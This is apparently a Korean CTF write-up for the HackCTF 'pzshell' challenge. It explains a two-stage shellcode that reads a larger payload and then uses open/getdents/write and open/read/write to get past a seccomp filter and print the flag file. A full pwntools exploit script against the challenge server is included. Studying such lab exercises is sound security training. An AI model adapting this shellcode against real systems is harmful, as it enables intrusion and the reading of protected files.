WAR GAME/HackCTF

[HackCTF : Pwnable] pzshell 풀이 (64bit, shellcode, shellcraft, orw, getdents)

jir4vvit 2021. 4. 30. 14:20

문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

shellcode랑 친하지 않은 나2...

 


주어진 파일은 바이너리 파일과  c코드

 

Analysis

mitigation

미티게이션...?은 아니지만 미티게이션 느낌이 나는 seccomp도 걸려있다 ㅠ_ㅠ

execution

뭐 제대로 입력도 안했는데 세폴뜬다. 코드를 확인해보자.

code

세콤

세콤이 걸려있다. 저 함수들은 쓰면 안된다. 바로 직전 문제 ezshell에서 사용했던 execve 함수는 사용하지 못한다...

그래서 open read write를 하기로 했다.

main

필터는 syscall만 걸려있는데, result 첫부분을 보면 syscall이 있다. 이 전의 ezshell문제처럼 syscall을 사용할 때 저기로 jmp를 해줘야 겠다.

이 문제에서 보면 read함수로 8만큼만 입력을 받을 수 있는데(ㅠㅠ) 사이즈가 너무 작으니, 여기다가 사이즈를 크게크게 해서 read함수를 먼저 호출시켜 쉘코드를 두 개 작성해야겠다.

이 전 문제도 그렇게 풀면 더 쉽게 풀 수 있었는데(for문의 필터링 과정을 안거쳐도 됨) 그렇게 풀 걸 그랬다.

 

그런데 이 문제는 이 바이너리 자체에 세콤이 걸려있는거라서 여전히 execve 함수는 실행할 수 없다는 것을 명심해야 한다. 하지만 open, read, write 과정 사이사이의 syscall은 우회를 하지 않아도 된다.

 

참고로 result 쉘코드는 아래와 같다.

맨 마지막에 mov si 어쩌구에서 si이 뭔가 싶었는데

그냥 RSI 레지스터에 값 넣는거 같다 ㅎㅎ;

 

코드를 보면서 좀 주절주절 떠든거 같은데... 그럼 익스플로잇 시나리오를 작성해보자.

Exploit Scenario

Summary

1) flag 파일 이름 알아내기

  1. 사이즈 크게하여 read함수 호출
  2. read 함수의 입력으로 디렉토리를 열어 getdents syscall로 디렉토리 읽고 write로 화면에 띄우기

2) flag 파일 읽기

  1. 사이즈 크게하여 read함수 호출
  2. read 함수의 입력으로 orw 주기

In detail

flag 파일 이름 알아내기

바로 orw 하려고 했는데, 생각해보니 파일 이름을 모른다 ㅋㅋㅋㅋㅋ 그래서 우리는 파일이름부터 알아내야 한다.

구글에 orw 파일이름 이라고 구글링하니까 아래와 같은 블로그 떠서 익스 코드 거의 복붙한 거 같다 ㅎㅎ;

m.blog.naver.com/PostView.nhn?blogId=yjw_sz&logNo=221581400696&proxyReferer=https:%2F%2Fwww.google.com%2F

 

[2019 DIMI CTF] dimi-farm (getdents + orw + null off by one)

이번 DIMI CTF의 대장격 문제였다. getdents를 몰라서 대회 진행도중엔 못했고 끝나고 풀어봤다. 취...

blog.naver.com

getdents syscall도 여기서 알았다. (디렉토리에 저장되어 있는 파일들을 읽어옴)

 

open함수로 현재 디렉토리를 열고 그 뒤에 getdents+write하기

payload = ''
payload += asm('mov rsp,QWORD PTR fs:[0]')
payload += asm(shellcraft.open('.'))
payload += asm(shellcraft.getdents(3, 'rsp', 0x500))
payload += asm(shellcraft.write(1, 'rsp', 0x500))

context(arch="amd64", log_level = 'DEBUG')

를 상단에 추가하여 flag 파일 이름을 저렇게 바로 읽을 수 있다!

flag 파일 읽기

이름도 알아냈으니 open read write하여 flag파일 내용을 화면에 띄우면 된다.

Exploit Code

from pwn import *

context(arch="amd64", log_level = 'DEBUG')

#p = process('./pzshell')
p = remote('ctf.j0n9hyun.xyz', 3038)
e = ELF('./pzshell')

# read
payload = ''
payload += asm('xchg rsi, rdx') 
payload += '\xE9\xC5\xFF\xFF\xFF' # jmp syscall..

#pause()
p.send(payload)


# find filename
# open, getdents, write
payload = ''
payload += asm('mov rsp,QWORD PTR fs:[0]')
#payload += asm(shellcraft.open('.'))
#payload += asm(shellcraft.getdents(3, 'rsp', 0x500))
#payload += asm(shellcraft.write(1, 'rsp', 0x500))

# file name : S3cr3t_F14g
payload += asm(shellcraft.open('S3cr3t_F14g'))
payload += asm(shellcraft.read(3, 'rsp', 0x100))
payload += asm(shellcraft.write(1, 'rsp', 0x100))



p.send(payload)



p.interactive()

shellcraft 짱짱